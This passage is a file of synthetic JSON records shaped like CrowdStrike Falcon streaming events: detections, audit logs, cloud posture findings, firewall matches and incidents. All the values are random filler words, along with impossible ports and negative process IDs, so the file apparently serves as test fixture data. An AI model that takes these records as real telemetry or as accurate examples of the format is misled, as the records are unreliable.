"Turkishishadvice","RuleName": "strangepack","RuleId": "comfortableway","Status": "severalchest","Timestamp": 1751371830,"TreeID": "powerlesscovey"}} +{"metadata": {"customerIDString": "Japanesethrill","offset": 1084205992,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherering","UserIp": "209.232.50.163","OperationName": "grantUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "itsloneliness","ValueString": "whoseorange"}],"Attributes": {"actor_cid": "Chinesecaravan","actor_user": "wholepair","actor_user_uuid": "yourexaltation","app_id": "tastycare","saml_assertion": "Colombianbucket","target_user": "Slovakbook","trace_id": "thesehost"}}} +{"metadata": {"customerIDString": "itsplant","offset": 2042161910,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1616413875,"ProcessEndTime": 109600100,"ProcessId": -41791688,"ParentProcessId": -88364674,"ComputerName": "hiselectricity","UserName": "disgustingwork","DetectName": "howcrowd","DetectDescription": "cheeks relaxation time basket yoga party bunch shower head tribe place wolf pack set company train divorce body day comfort obesity range chest theirstress","Severity": 1,"SeverityName": "Medium","FileName": "adventuroustrip","FilePath": "Dutchposse\\adventuroustrip","CommandLine": "C:\\Windows\\cutebelief","SHA256String": "therebundle","MD5String": "somebodycongregation","SHA1String": "wherewit","MachineDomain": "Muscoviteperson","NetworkAccesses": [{"AccessType": -1608469328,"AccessTimestamp": 1751371565,"Protocol": "mycleverness","LocalAddress": "133.71.68.246","LocalPort": 72747,"RemoteAddress": "37.194.48.145","RemotePort": 78870,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatluck?_cid=xxxxxxx","SensorId": "thosefilm","IOCType": "behavior","IOCValue": "Cormoranjustice","DetectId": "inquiringplant","LocalIP": "143.246.203.58","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herbundle","Technique": "Thatcheritehumour","Objective": "a little bitsalt","PatternDispositionDescription": "loss galaxy life woman scheme place son thing eye bag mob muster freedom luxury day economics exaltation care wheat mercy blouse orchard team nobodypleasure","PatternDispositionValue": 213000018,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "theirwoman","ParentCommandLine": "Englishdoor","GrandparentImageFileName": "nocompany","GrandparentCommandLine": "mypoint","HostGroups": "halfteam","AssociatedFile": "hisbale","PatternId": -612094550}} +{"metadata": {"customerIDString": "whosesilence","offset": -1101819049,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thiselection","DetectName": "therebevy","DetectDescription": "wisp tolerance muster cautiouspatrol","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somebodymother?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 12,"SeverityName": "High","Tactic": "Englishhail","Technique": "yourtrend","Objective": "yellowhat","SourceAccountDomain": "brightboy","SourceAccountName": "theirchaise longue","SourceAccountObjectSid": "whosebasket","SourceEndpointAccountObjectGuid": "Thatcheriteproblem","SourceEndpointAccountObjectSid": "thosepatrol","SourceEndpointHostName": "thoselitter","SourceEndpointIpAddress": "214.134.146.212","SourceEndpointSensorId": "theirexaltation","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whynumber","PatternId": -1694512080}} +{"metadata": {"customerIDString": "luckyfriend","offset": -1320502072,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Peruvianfriend","Region": "us-west-2","ResourceId": "upsetadvice","ResourceIdType": "ourscold","ResourceName": "everybodyjealousy","ResourceCreateTime": 0,"PolicyStatement": "itswork","PolicyId": 1065593971,"Severity": 4,"SeverityName": "Low","CloudPlatform": "ourclump","CloudService": "Hitlerianjoy","Disposition": "Passed","ResourceUrl": "whoseluck","Finding": "Costa Ricanjustice","Tags": [{"Key": "histroop","ValueString": "theirband"}],"ReportUrl": "youngbunch","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "yournap","offset": 52775202,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hereuncle","UserIp": "220.90.37.221","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "allpollution","ValueString": "yourwoman"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whybow"}}} +{"metadata": {"customerIDString": "theirbevy","offset": -1067305303,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thoughtfulcatalog","PolicyId": 2140486263,"PolicyStatement": "itsproject","CloudProvider": "whyidea","CloudService": "thosehand","Severity": 91,"SeverityName": "Medium","EventAction": "a little bittroupe","EventSource": "Turkishchild","EventCreatedTimestamp": 1663011160,"UserId": "whatconfusion","UserName": "whymirror","UserSourceIp": "112.140.0.11","Tactic": "thosecar","Technique": "openmonkey"}} +{"metadata": {"customerIDString": "Burkineseprogress","offset": -1876291398,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "famousanswer","Region": "us-east-2","ResourceId": "whosearchipelago","ResourceIdType": "ourhouse","ResourceName": "onething","ResourceCreateTime": 0,"PolicyStatement": "myhorror","PolicyId": -438619601,"Severity": 52,"SeverityName": "Informational","CloudPlatform": "whypermission","CloudService": "everybodygroup","Disposition": "Passed","ResourceUrl": "theircorner","Finding": "howregiment","Tags": [{"Key": "thismob","ValueString": "whatspeed"}],"ReportUrl": "theirenergy","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "knightlyplant","offset": -795467579,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thoseteam","Highlights": ["hisfailure"],"MatchedTimestamp": 1686889114000,"RuleId": "wheretroupe","RuleName": "whichpod","RuleTopic": "thoughtfulfood","RulePriority": "eachwealth","ItemId": "whoseboard","ItemType": "CS","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "whosemurder","offset": -2040266645,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "Indonesianpart","HostnameField": "poisedchildren","UserName": "outrageousadvice","StartTimestamp": 1582830734,"AgentIdString": "whypoint"}} +{"metadata": {"customerIDString": "Elizabethanvision","offset": -1497924211,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1607933238,"ProcessEndTime": -15463873,"ProcessId": -1301506679,"ParentProcessId": -896896464,"ComputerName": "somefriendship","UserName": "impromptuschool","DetectName": "Laotianwad","DetectDescription": "stand troupe muster brother party food thing pod problem library lamp posse pack scold point disregard mob time catalog life bunch leap significantpatience","Severity": 4,"SeverityName": "Critical","FileName": "pricklingboxers","FilePath": "thesefriend\\pricklingboxers","CommandLine": "C:\\Windows\\Torontonianmustering","SHA256String": "nobodywork","MD5String": "yourcompany","SHA1String": "whichcomb","MachineDomain": "numeroustime","NetworkAccesses": [{"AccessType": 679253587,"AccessTimestamp": 1751371565,"Protocol": "mymob","LocalAddress": "204.28.103.128","LocalPort": 40511,"RemoteAddress": "45.210.118.214","RemotePort": 39206,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allgroup?_cid=xxxxxxx","SensorId": "howanger","IOCType": "filename","IOCValue": "whosepunctuation","DetectId": "fewbouquet","LocalIP": "66.102.253.111","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "hergroup","Technique": "howmustering","Objective": "over therejoy","PatternDispositionDescription": "traffic tomato vision foot seafood muster horn someoneidea","PatternDispositionValue": -1157171598,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "eachsand","ParentCommandLine": "oursolitude","GrandparentImageFileName": "knightlyweather","GrandparentCommandLine": "Uzbekexaltation","HostGroups": "Koreanusage","AssociatedFile": "whosebird","PatternId": 1345104076}} +{"metadata": {"customerIDString": "thereway","offset": -1246758550,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howpack","Region": "us-west-1","ResourceId": "howweek","ResourceIdType": "Pacificsolitude","ResourceName": "theremarriage","ResourceCreateTime": 0,"PolicyStatement": "Vietnameseknife","PolicyId": -1724024903,"Severity": 75,"SeverityName": "Critical","CloudPlatform": "Turkmenway","CloudService": "therehelp","Disposition": "Failed","ResourceUrl": "histruth","Finding": "hundredsriches","Tags": [{"Key": "therestack","ValueString": "eachslippers"}],"ReportUrl": "lots ofbunch","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "faithfulbunch","offset": -1313057981,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "eachtomato","PolicyId": 1827925826,"PolicyStatement": "Egyptianbill","CloudProvider": "thesemob","CloudService": "somethrill","Severity": 31,"SeverityName": "Informational","EventAction": "heavilysedge","EventSource": "whatwad","EventCreatedTimestamp": 1663011160,"UserId": "everybodyday","UserName": "myhost","UserSourceIp": "180.130.45.111","Tactic": "anygroup","Technique": "itsparty"}} +{"metadata": {"customerIDString": "abundantcap","offset": 1987256938,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "plenty ofreligion","CustomerId": "wheregarage","Ipv": "240.12.98.92","CommandLine": "onemob","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "whycrew","ICMPCode": "plenty ofwit","ICMPType": "Guyanesepeace","ImageFileName": "hisenergy","LocalAddress": "171.220.213.231","LocalPort": "24578","MatchCount": 1544303582,"MatchCountSinceLastReport": -1943062570,"NetworkProfile": "severalstreet","PID": "1387435999","PolicyName": "nodress","PolicyID": "confusingsnowman","Protocol": "mycouch","RemoteAddress": "139.80.46.32","RemotePort": "11855","RuleAction": "ourhonesty","RuleDescription": "spottedfood","RuleFamilyID": "Colombianschool","RuleGroupName": "somewidth","RuleName": "grumpyweek","RuleId": "whichart","Status": "allnumber","Timestamp": 1751371830,"TreeID": "Iraqidog"}} +{"metadata": {"customerIDString": "anythinggang","offset": 702249484,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thisimportance","MobileDetectionId": 564298668,"ComputerName": "Italianliterature","UserName": "whoseflock","ContextTimeStamp": 1649061056,"DetectId": "Rooseveltianstreet","DetectName": "whatwork","DetectDescription": "towel bird door whathost","Tactic": "shinybill","TacticId": "nonecurrency","Technique": "thesebook","TechniqueId": "oddmustering","Objective": "everybodysink","Severity": 97,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allpair?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "severalset","AndroidAppLabel": "theiradvantage","DexFileHashes": "ourcare","ImageFileName": "heavychild","AppInstallerInformation": "eachwad","IsBeingDebugged": false,"AndroidAppVersionName": "howfire","IsContainerized": true}]}} +{"metadata": {"customerIDString": "anyyear","offset": -2097150535,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "hisworld","DataDomains": "Cloud","Description": "army lawyer friendship group time hedge job light line team wherepack","DetectId": "eitherbale","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "6.128.247.178","HostNames": "herroad","Name": "hertime","PatternId": 1611855996,"Severity": 13,"SourceProducts": "hisway","SourceVendors": "thosecompany","StartTimeEpoch": 1643317697728000000,"TacticIds": "lots ofbird","Tactics": "Victoriankilometer","TechniqueIds": "howclump","Techniques": "mybevy","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "Atlanticmustering","offset": 804608566,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "everythingposse","Region": "us-east-2","ResourceId": "whereleap","ResourceIdType": "thesehedge","ResourceName": "elatedbush","ResourceCreateTime": 0,"PolicyStatement": "allstand","PolicyId": 671230144,"Severity": 19,"SeverityName": "Low","CloudPlatform": "hereloneliness","CloudService": "everythingappetite","Disposition": "Passed","ResourceUrl": "howtroop","Finding": "fullyear","Tags": [{"Key": "sufficientharvest","ValueString": "emptynumber"}],"ReportUrl": "thosetraffic","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "Monacanarchipelago","offset": -798305790,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fewannoyance","State": "closed","FineScore": 6.078521740200174,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "thischeese","HostID": "Marxistwad","LMHostIDs": ["anycarrot"],"UserId": "wholeroom"}} +{"metadata": {"customerIDString": "wherepacket","offset": 845841115,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anyappetite","UserIp": "1.86.80.213","OperationName": "deactivateUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "eagerpod","ValueString": "littlemob"}],"Attributes": {"actor_cid": "herheart","actor_user": "tooweek","actor_user_uuid": "badnoise","app_id": "Swaziharm","saml_assertion": "Polishmob","target_user": "allcast","trace_id": "whatshop"}}} +{"metadata": {"customerIDString": "Orwellianmethod","offset": 574885279,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fiercepleasure","State": "open","FineScore": 2.744330277602896,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "somepoint","HostID": "itsmember","LMHostIDs": ["singlefire"],"UserId": "over therehost"}} +{"metadata": {"customerIDString": "anyonetea","offset": 238823863,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Plutonianscold","UserID": "somegang","ExecutionID": "lots ofcackle","ReportID": "anythingperson","ReportName": "whytheater","ReportType": "pricklingcaravan","ReportFileReference": "manybattery","Status": "whytribe","StatusMessage": "hisreel","ExecutionMetadata": {"ExecutionStart": -15392455,"ExecutionDuration": 888890225,"ReportFileName": "neitherforest","ResultCount": -594326357,"ResultID": "heregroup","SearchWindowStart": 865282015,"SearchWindowEnd": 2022399683}}} +{"metadata": {"customerIDString": "fewtroop","offset": -498457272,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "so fewlife","State": "closed","FineScore": 4.443175154365333,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "wherelife","HostID": "over theremistake","LMHostIDs": ["wherelife"],"UserId": "troublingbuffalo"}} +{"metadata": {"customerIDString": "myyoga","offset": 1439636240,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -2022562641,"ProcessEndTime": -1156665627,"ProcessId": -364850416,"ParentProcessId": 286295241,"ComputerName": "someonegenerosity","UserName": "gleamingtiming","DetectName": "allworld","DetectDescription": "street car brain set anthology set trousers thesedelay","Severity": 4,"SeverityName": "Medium","FileName": "somebodyarmy","FilePath": "muchanthology\\somebodyarmy","CommandLine": "C:\\Windows\\theseway","SHA256String": "manyparty","MD5String": "mostforest","SHA1String": "whystream","MachineDomain": "Brazilianhotel","NetworkAccesses": [{"AccessType": -770984556,"AccessTimestamp": 1751371565,"Protocol": "whatrange","LocalAddress": "97.122.36.88","LocalPort": 7374,"RemoteAddress": "170.55.197.77","RemotePort": 72679,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Burmeseman?_cid=xxxxxxx","SensorId": "emptykeyboard","IOCType": "hash_sha256","IOCValue": "enough ofobesity","DetectId": "over thererange","LocalIP": "234.220.4.208","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "plenty ofcare","Technique": "a little bitgalaxy","Objective": "Spanishpod","PatternDispositionDescription": "way battery frighteningwoman","PatternDispositionValue": 1535724418,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "therewad","ParentCommandLine": "itsanger","GrandparentImageFileName": "eachplane","GrandparentCommandLine": "Italiantrend","HostGroups": "whichostrich","AssociatedFile": "somedaughter","PatternId": 44914446}} +{"metadata": {"customerIDString": "helpfulreligion","offset": 366394011,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "muchfurniture","PolicyId": -2115267427,"PolicyStatement": "Cambodianpoint","CloudProvider": "yourrabbit","CloudService": "repellingcalm","Severity": 84,"SeverityName": "Informational","EventAction": "manyarchipelago","EventSource": "lightidea","EventCreatedTimestamp": 1663011160,"UserId": "thesepack","UserName": "grumpydollar","UserSourceIp": "197.194.169.131","Tactic": "Bahamianpain","Technique": "somebodypoverty"}} +{"metadata": {"customerIDString": "whereharm","offset": 182113224,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "luckydesigner","HostnameField": "wherecovey","UserName": "thoseplant","StartTimestamp": 1582830734,"AgentIdString": "grievingchild"}} +{"metadata": {"customerIDString": "herlife","offset": -1347839151,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1472770705,"ProcessEndTime": -566264563,"ProcessId": -125042445,"ParentProcessId": 322626648,"ComputerName": "thosestream","UserName": "Bangladeshiline","DetectName": "fullcongregation","DetectDescription": "number religion waist advantage year farm posse chapter weight troop leap regiment bouquet annoyance father army gossip life remote greatarmy","Severity": 1,"SeverityName": "Critical","FileName": "blushingnumber","FilePath": "Turkishcollection\\blushingnumber","CommandLine": "C:\\Windows\\whatorange","SHA256String": "theirwisp","MD5String": "blackmustering","SHA1String": "whosescold","MachineDomain": "Gaussianostrich","NetworkAccesses": [{"AccessType": 1370136032,"AccessTimestamp": 1751371565,"Protocol": "therebale","LocalAddress": "81.200.104.45","LocalPort": 7611,"RemoteAddress": "208.226.76.212","RemotePort": 47016,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Polynesianegg?_cid=xxxxxxx","SensorId": "anyanthology","IOCType": "hash_sha256","IOCValue": "insufficienthost","DetectId": "thatbevy","LocalIP": "12.99.213.236","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "theirwealth","Technique": "creepycouch","Objective": "anythinggalaxy","PatternDispositionDescription": "tie caravan plan school rhythm juice murder sunshine allcoat","PatternDispositionValue": 810334443,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "thereconfusion","ParentCommandLine": "uptightdream","GrandparentImageFileName": "theredamage","GrandparentCommandLine": "whymob","HostGroups": "superchest","AssociatedFile": "theseperson","PatternId": -1552948663}} +{"metadata": {"customerIDString": "mygarage","offset": 2045369704,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodyfact","UserIp": "180.134.208.35","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "significantpacket","ValueString": "thesetime"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "plenty ofbrace"}}} +{"metadata": {"customerIDString": "Portuguesepod","offset": 1799846313,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 766986983,"ProcessEndTime": -1642400641,"ProcessId": -31713984,"ParentProcessId": 1064355819,"ComputerName": "Burkineseshower","UserName": "someoneschool","DetectName": "mywolf","DetectDescription": "alligator factory youth quiver happiness wings silence staff hand wealth life confusion muster idea bread packet woman whyhatred","Severity": 5,"SeverityName": "Informational","FileName": "thatarchipelago","FilePath": "itbeauty\\thatarchipelago","CommandLine": "C:\\Windows\\busyplace","SHA256String": "gorgeousgovernment","MD5String": "severaltroop","SHA1String": "whyjoy","MachineDomain": "hiscompany","NetworkAccesses": [{"AccessType": 229359115,"AccessTimestamp": 1751371565,"Protocol": "over therehedge","LocalAddress": "170.160.134.4","LocalPort": 13190,"RemoteAddress": "244.119.175.251","RemotePort": 33347,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/over therepart?_cid=xxxxxxx","SensorId": "blushingpoint","IOCType": "hash_sha256","IOCValue": "somebodybunch","DetectId": "darksedge","LocalIP": "104.98.225.108","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whosefleet","Technique": "sparseweek","Objective": "nobodyluxuty","PatternDispositionDescription": "pair congregation grains galaxy awareness effect electricity bookstore dentist pyramid nest fish man foot herinfancy","PatternDispositionValue": 1033554059,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "whydivorce","ParentCommandLine": "hersilence","GrandparentImageFileName": "itsorchard","GrandparentCommandLine": "herepack","HostGroups": "itwisdom","AssociatedFile": "thoseregiment","PatternId": -45878665}} +{"metadata": {"customerIDString": "everyonemother","offset": 165528476,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anyonefield","UserIp": "247.105.81.226","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Pacificmustering","ValueString": "ourunion"}],"Attributes": {"actor_cid": "ourbasket","actor_user": "thisfilm","actor_user_uuid": "whatmuster","app_id": "uglyflock","saml_assertion": "yourparty","target_user": "Colombiancompany","trace_id": "itteam"}}} +{"metadata": {"customerIDString": "Iranianproblem","offset": 1095486537,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "gleamingsand","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\oddfan","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Network","Description": "part caravan army tolerance pack company ability sedge old age severalcalm","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/abundantgroup?_cid=xxxxxxx","FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","FilesAccessed": [{"FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\therepleasure","GrandParentImageFileName": "itshost","GrandParentImageFilePath": "Lincolnianweek\\itshost","HostGroups": "frailfiction","Hostname": "fewbus","LocalIP": "172.147.46.0","LocalIPv6": "208.212.56.34","LogonDomain": "mostwisp","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Swissgirl","Name": "everybodyboard","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1592208001,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "251.127.72.126","LocalPort": 58478,"Protocol": "somebodytribe","RemoteAddress": "5.196.7.95","RemotePort": 82239}],"Objective": "Monacanlibrary","ParentCommandLine": "C:\\Windows\\hugegirl\\allbasket","ParentImageFileName": "allbasket","ParentImageFilePath": "itchyrice\\allbasket","ParentProcessId": 722547488,"PatternDispositionDescription": "aircraft deceit fact calm buckles leap goodness furniture caravan ring comb uncle bread ambulance poverty reel band troop magic Polishmobile","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -589606010,"PatternId": -722944973,"PlatformId": "severalpoint","PlatformName": "Linux","ProcessEndTime": 497769204,"ProcessId": -1552453208,"ProcessStartTime": 7696833,"ReferrerUrl": "thispower","SHA1String": "Turkishishworld","SHA256String": "whyproblem","Severity": 23,"SeverityName": "Low","SourceProducts": "lighthomework","SourceVendors": "colorfulharm","Tactic": "Einsteiniandog","Technique": "itscaravan","Type": "ldt","UserName": "thiscrowd"}} +{"metadata": {"customerIDString": "thisimagination","offset": 1205396908,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mysheaf","PolicyId": 1552025764,"PolicyStatement": "muchpack","CloudProvider": "nonecloud","CloudService": "Sammarineseinnocence","Severity": 45,"SeverityName": "Critical","EventAction": "someonepair","EventSource": "howstress","EventCreatedTimestamp": 1663011160,"UserId": "thislife","UserName": "strangeforest","UserSourceIp": "51.238.47.148","Tactic": "over therebermudas","Technique": "hundredbrilliance"}} +{"metadata": {"customerIDString": "everybodymotivation","offset": -1552411789,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -755853846,"ProcessEndTime": -626017870,"ProcessId": 171306624,"ParentProcessId": -1605361574,"ComputerName": "insufficientassistance","UserName": "mostleap","DetectName": "hisgoal","DetectDescription": "line mob student pigeon host train station church Viennesebrother","Severity": 3,"SeverityName": "Medium","FileName": "heavilyoutfit","FilePath": "Victoriancrowd\\heavilyoutfit","CommandLine": "C:\\Windows\\sparsestand","SHA256String": "manyheels","MD5String": "frailfuel","SHA1String": "severalfurniture","MachineDomain": "thisbale","NetworkAccesses": [{"AccessType": 1905863405,"AccessTimestamp": 1751371565,"Protocol": "so fewpack","LocalAddress": "252.187.76.200","LocalPort": 54719,"RemoteAddress": "105.117.210.70","RemotePort": 15495,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Honduranway?_cid=xxxxxxx","SensorId": "significantdivorce","IOCType": "hash_sha256","IOCValue": "thereliter","DetectId": "enoughschool","LocalIP": "12.122.235.99","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whichwalk","Technique": "ourfact","Objective": "modernalbum","PatternDispositionDescription": "scissors anthology generosity tribe hospitality crew garlic yoga case money day fun ship weight book wisp problem pair solitude electricity point collection anyalbum","PatternDispositionValue": 519124999,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "itstunnel","ParentCommandLine": 